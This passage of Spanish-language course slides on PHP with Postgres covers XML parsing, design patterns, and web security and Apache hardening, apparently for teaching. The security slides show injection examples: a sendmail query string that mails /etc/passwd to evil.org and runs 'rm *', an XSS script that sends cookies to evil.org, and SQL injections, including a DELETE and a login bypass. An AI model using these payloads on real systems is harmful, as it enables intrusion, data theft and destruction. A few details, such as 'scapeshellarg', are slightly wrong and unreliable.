72. XML desde PHP
Leer el archivo:
<?
//$ruta_fichero=quot;http://www.dominio.com/noticias.xmlquot;;
$ruta_fichero=quot;noticias.xmlquot;;
$contenido = quot;quot;;
if($da = fopen($ruta_fichero,quot;rquot;)) {
while ($aux= fgets($da,1024)) {
$contenido.=$aux;
}
fclose($da);
} else {
echo quot;Error: no se ha podido leer el archivo
<strong>$ruta_fichero</strong>quot;;
} ?>
Esto dentro de un archivo “noticias.php”
PHP con Postgres – Linux Center – Jorge Arévalo – Clase 4 – DOM XML
73. XML desde PHP
Procesar el XML:
$tagnames = array (quot;tituloquot;,quot;autorquot;,quot;cuerpoquot;);
if (!$xml = domxml_open_mem($contenido)){
echo quot;Ha ocurrido un error al procesar el documento<strong>
quot;$ruta_ficheroquot;</strong> a XML <br>quot;;
exit;
} else {
$raiz = $xml->document_element();
$tam=sizeof($tagnames);
for($i=0; $i<$tam; $i++){
$nodo = $raiz->get_elements_by_tagname($tagnames[$i]);
$j=0;
foreach ($nodo as $etiqueta) {
$matriz[$j][$tagnames[$i]]=$etiqueta->get_content();
$j++;
}
}
}
PHP con Postgres – Linux Center – Jorge Arévalo – Clase 4 – DOM XML
74. XML desde PHP
Mostrar los Datos:
<?
$num_noticias=sizeof($matriz);
for($i=0;$i<$num_noticias;$i++) {
echo '<table border=1><tr><td align=center>‘
.$matriz[$i][quot;tituloquot;].'</td></tr><tr><td>‘
.$matriz[$i][quot;cuerpoquot;].'</td></tr><tr><td align=right >‘
.$matriz[$i][quot;autorquot;]
.'</td></tr></table><br>';
} ?>
PHP con Postgres – Linux Center – Jorge Arévalo – Clase 4 – DOM XML
75. Patrones de Diseño
Introducción:
Los patrones de diseño (design patterns) son la base para la
búsqueda de soluciones a problemas comunes en el desarrollo de
software y otros ámbitos referentes al diseño de interacción o interfaces.
Un patrón de diseño es una solución a un problema de diseño.
Para que una solución sea considerada un patrón debe poseer ciertas
características. Una de ellas es que debe haber comprobado su
efectividad resolviendo problemas similares en ocasiones anteriores.
Otra es que debe ser reusable, lo que significa que es aplicable a
diferentes problemas de diseño en distintas circunstancias.
PHP con Postgres – Linux Center – Jorge Arévalo – Clase 4 – Arquitectura de Software
76. Patrones de Diseño
Categorías:
• Patrones arquitecturales: Aquéllos que expresan un esquema
organizativo estructural fundamental para sistemas software.
• Patrones de diseño: Aquéllos que expresan esquemas para definir
estructuras de diseño (o sus relaciones) con las que construir sistemas
software.
• Idiomas: Patrones de bajo nivel específicos para un lenguaje de
programación o entorno concreto.
Además, también es importante reseñar el concepto de Antipatrón de
Diseño, que con forma semejante a la de un patrón, intenta prevenir
contra errores comunes de diseño en el software.
PHP con Postgres – Linux Center – Jorge Arévalo – Clase 4 – Arquitectura de Software
77. Patrones de Diseño
Patrones estructurales:
• Adapter (Adaptador): Adapta una interfaz para que pueda ser utilizada
por una clase que de otro modo no podría utilizarla.
• Bridge (Puente): Desacopla una abstracción de su implementación.
• Composite (Objeto compuesto): Permite tratar objetos compuestos
como si de uno simple se tratase.
• Decorator (Envoltorio): Añade funcionalidad a una clase
dinámicamente.
PHP con Postgres – Linux Center – Jorge Arévalo – Clase 4 – Arquitectura de Software
78. Patrones de Diseño
Patrones estructurales:
• Facade (Fachada): Provee de una interfaz unificada simple para
acceder a una interfaz o grupo de interfaces de un subsistema.
• Flyweight (Peso ligero): Reduce la redundancia cuando gran cantidad
de objetos poseen idéntica información.
•Proxy : Mantiene un representante de un objeto.
PHP con Postgres – Linux Center – Jorge Arévalo – Clase 4 – Arquitectura de Software
79. Patrones de Diseño
Patrones de Comportamiento:
• Chain of Responsibility (Cadena de responsabilidad): Permite
establecer la línea que deben llevar los mensajes para que los objetos
realicen la tarea indicada.
• Command (Orden): Encapsula una operación en un objeto,
permitiendo ejecutar dicha operación sin necesidad de conocer el
contenido de la misma.
• Interpreter (Intérprete): Dado un lenguaje, define una gramática para
dicho lenguaje, así como las herramientas necesarias para interpretarlo.
• Iterator (Iterador): Permite realizar recorridos sobre objetos
compuestos independientemente de la implementación de estos.
PHP con Postgres – Linux Center – Jorge Arévalo – Clase 4 – Arquitectura de Software
80. Patrones de Diseño
Patrones de Comportamiento:
• Mediator (Mediador): Define un objeto que coordine la comunicación
entre objetos de distintas clases, pero que funcionan como un conjunto.
• Memento (Recuerdo): Permite volver a estados anteriores del sistema.
• Observer (Observador): Define una dependencia de uno-a-muchos
entre objetos, de forma que cuando un objeto cambie de estado se
notifique y actualicen automáticamente todos los objetos que dependen
de él.
• State (Estado): Permite que un objeto modifique su comportamiento
cada vez que cambie su estado interno.
PHP con Postgres – Linux Center – Jorge Arévalo – Clase 4 – Arquitectura de Software
81. Patrones de Diseño
Patrones de Comportamiento:
• Strategy (Estrategia): Permite disponer de varios métodos para
resolver un problema y elegir cuál utilizar en tiempo de ejecución.
• Template Method (Método plantilla): Define en una operación el
esqueleto de un algoritmo, delegando en las subclases algunos de sus
pasos, esto permite que las subclases redefinan ciertos pasos de un
algoritmo sin cambiar su estructura.
• Visitor (Visitante): Permite definir nuevas operaciones sobre una
jerarquía de clases sin modificar las clases sobre las que opera.
PHP con Postgres – Linux Center – Jorge Arévalo – Clase 4 – Arquitectura de Software
82. Patrones de Diseño
Patrones creacionales:
•Abstract Factory (Fábrica abstracta): Permite trabajar con objetos de
distintas familias de manera que las familias no se mezclen entre sí y
haciendo transparente el tipo de familia concreta que se esté usando.
• Builder (Constructor virtual): Abstrae el proceso de creación de un
objeto complejo, centralizando dicho proceso en un único punto.
• Factory Method (Método de fabricación): Centraliza en una clase
constructora la creación de objetos de un subtipo de un tipo
determinado, ocultando al usuario la casuística para elegir el subtipo
que crear.
PHP con Postgres – Linux Center – Jorge Arévalo – Clase 4 – Arquitectura de Software
83. Patrones de Diseño
Patrones creacionales:
• Prototype (Prototipo): Crea nuevos objetos clonándolos de una
instancia ya existente.
• Singleton (Instancia única): Garantiza la existencia de una única
instancia para una clase y la creación de un mecanismo de acceso
global a dicha instancia.
PHP con Postgres – Linux Center – Jorge Arévalo – Clase 4 – Arquitectura de Software
84. Seguridad
Definición:
• Entendemos por aplicaciones web a todo aquél software que
interacciona con el usuario utilizando el protocolo HTTP. Por su parte,
los servicios web son un conjunto de funciones empaquetadas dentro
de una entidad única y publicadas dentro de la red para que puedan ser
utilizadas por las aplicaciones web.
PHP con Postgres – Linux Center – Jorge Arévalo – Clase 5 – Seguridad en PHP
85. Seguridad
Lineas frecuentes de ataques:
• Saltarse las validaciones
• Inyección de código
• Inyeccion de SQL
• Inyeccion de Cookies
• XSS – Cross Site Scripting
PHP con Postgres – Linux Center – Jorge Arévalo – Clase 5 – Seguridad en PHP
86. Seguridad
Saltarse las validaciones - Objetivo:
El objetivo es que la aplicación colapse, de una
manera interesante para el atacante.
• Dejando a la aplicación en un estado invalido, de
modo que deje de estar operativa.
• Revelando información de depuración, que permita
conocer detalles importantes acerca de la plataforma
usada, para luego aprovechar los problemas de
seguridad conocidos que esta tenga.
PHP con Postgres – Linux Center – Jorge Arévalo – Clase 5 – Seguridad en PHP
87. Seguridad
Saltarse las validaciones - ¿Cómo?:
Existen 2 tipos de validación, la del lado del cliente y la
del lado del servidor.
En el primer caso, tenemos como ventaja el rápido
feedback con el cliente. Pero si no va acompañada de
la segunda, tenemos un grave problema de seguridad:
Se puede generar un nuevo formulario, que envíe los
datos sin ser validados al server.
PHP con Postgres – Linux Center – Jorge Arévalo – Clase 5 – Seguridad en PHP
88. Seguridad
Validación en el servidor:
PHP ofrece múltiples funciones para validar datos:
• is_int(), is_float(), is_bool(), is_finite(), is_nan(), etc
• intval(), floatval(), doubleval(), etc
• strlen(), strpos(), etc
PHP con Postgres – Linux Center – Jorge Arévalo – Clase 5 – Seguridad en PHP
89. Seguridad
Inyección de código - Objetivo:
Hacer que nuestro script ejecute algún código
ingresado por el atacante. Este código habitualmente
apunta a:
• Mostrar información acerca de la plataforma
• Dañar el sistema
• Generar nuevas vulnerabilidades de seguridad.
PHP con Postgres – Linux Center – Jorge Arévalo – Clase 5 – Seguridad en PHP
90. Seguridad
Inyección de código - ¿Cómo?:
Generalmente a través de variables GET, POST o
COOKIE, que no se valida correctamente (o
simplemente no se valida)
Ejemplo:
$filename=$_GET[‘datoString’];
$message=file_get_contents($filename);
echo $message;
Si se llama
www.cursophp.org/miscript.php?datoString=hola.txt
Pero si se llama
www.cursophp.org/miscript.php?datoString=pass.cfg
PHP con Postgres – Linux Center – Jorge Arévalo – Clase 5 – Seguridad en PHP
91. Seguridad
Inyección de código - ¿Cómo?:
<?php $fp = popen('/usr/sbin/sendmail -i '. $_GET[‘to’], 'w'); ?>
Se llama con el siguiente query string:
*.php?to=evil%40evil.org+%3C+%2Fetc%2Fpasswd%3B+rm+%2A
Ejecutaría:
/usr/sbin/sendmail -i evil@evil.org /etc/passwd; rm *
Solución:
<?php $fp = popen('/usr/sbin/sendmail -i '. scapeshellarg($_GET[‘to’]), 'w'); ?>
PHP con Postgres – Linux Center – Jorge Arévalo – Clase 5 – Seguridad en PHP
92. Seguridad
Inyección de código - ¿Cómo?:
Los includes de scripts referenciados desde GET o
POST no debieran usarse y de ser así, validar muy
bien los datos.
PHP con Postgres – Linux Center – Jorge Arévalo – Clase 5 – Seguridad en PHP
93. Seguridad
Inyección de código - ¿Cómo?:
Supongamos que este codigo está dentro del módulo de
mensajeria de nuestra aplcación
<?php ... echo quot;<TD> $subject </TD>quot;; ?>
Un usuario malicioso podría enviar un mensaje con el asunto:
<script> self.location.href= quot;http://evil.org/cookie-
grab.html?cookies=quot; +escape(document.cookie)
</script>
Llamando a su servidor, donde revisando el log de los request,
tendrá la información de nuestras cookies
Solución:
<?php ... echo quot;<TD> quot;.htmlspecialchars($subject).quot; </TD>quot;; ?>
PHP con Postgres – Linux Center – Jorge Arévalo – Clase 5 – Seguridad en PHP
94. Seguridad
Inyección de SQL - Objetivo:
Alterar los datos en la base de datos para que ocurra alguna de las
siguientes situaciones:
•La aplicación colapse porque se ingresaron datos que no
concuerdan con lo esperado.
•Se pierda información producto de la eliminación de registros.
•Se produzcan errores de SQL, que permitan obtener información
de depuración y así encontrar vulnerabilidades.
PHP con Postgres – Linux Center – Jorge Arévalo – Clase 5 – Seguridad en PHP
95. Seguridad
Inyección de SQL - ¿Cómo?:
Ingresando partes de sentencias sql de actualizacion de bd, en los
parametros que incluye la query.
Ejemplo:
$user_name=$_GET[‘u_name’];
$sql=“SELECT * FROM users WHERE user_name=‘$user_name’ ”;
$result=pg_query($sql);
Si se llama: *.php?u_name=Jorge ningún problema, pero si se
llama: *.php?u_name=Jorge;DELETE FROM users; tendremos
problemas.
PHP con Postgres – Linux Center – Jorge Arévalo – Clase 5 – Seguridad en PHP
96. Seguridad
Inyección de SQL - ¿Cómo?:
Otro ejemplo:
$user_name=$_GET[‘u_name’];
$pass=$_GET[‘password’];
$sql=“SELECT * FROM users WHERE user_name=‘$user_name’ AND
password=‘$pass’ ”;
$result=pg_query($sql);
Si se llama:
*.php?u_name=Jorge&password=123
ningún problema, pero si se llama:
*.php?u_name=Jorge&password=123’ or ‘’=‘
Se ejecutaría el sql: SELECT * FROM users WHERE user_name=‘Jorge’
AND password=‘123’ or ‘’=‘’
Lo que probablemente garantizaría el ingreso del usuario, sin necesidad de
que el password coincida.
PHP con Postgres – Linux Center – Jorge Arévalo – Clase 5 – Seguridad en PHP
97. Seguridad
XSS – Cross Site Scripting:
La idea es reemplazar una direccion http por un codigo malicioso,
permitiendo esto:
•El pishing
•La ejecución de scripts dañinos
•El robo de información privada
PHP con Postgres – Linux Center – Jorge Arévalo – Clase 5 – Seguridad en PHP
98. Seguridad
Proteger el servidor web:
Para esto debemos tener en cuenta lo siguiente:
• Mientras el atacante menos sepa del servidor, más dificil será su
tarea.
• Mientras menos servicios de red ofrezca el servidor más seguro
será.
• Si vulneran el sistema operativo, no tenemos nada que hacer. Por
lo que debe ser lo más robusto posible contra ataques locales y
remotos.
PHP con Postgres – Linux Center – Jorge Arévalo – Clase 5 – Asegurar Apache
99. Seguridad
Proteger el servidor web:
• El acceso remoto al servidor debe estar controlado por un firewall
que permita el acceso sólo en el puerto HTTP (TCP:80)
• Apache no debe tener activado ningún modulo que no sea
necesario.
• Apache debe tener acceso restringido al sistema de archivos
• Chroot para apache.
• Debe ser posible almacenar en un archivo de texto los request
GET y POST para usar programas adicionales para la deteccion de
intrusos.
PHP con Postgres – Linux Center – Jorge Arévalo – Clase 5 – Asegurar Apache
100. Seguridad
Medidas Concretas:
• En httpd.conf setear safe_mode = On
• Modificar la linea AddType applicaton/x-httpd-php .php a AddType
applicaton/x-httpd-php .do y renombrar todos los archivos .php a
.do
PHP con Postgres – Linux Center – Jorge Arévalo – Clase 5 – Asegurar Apache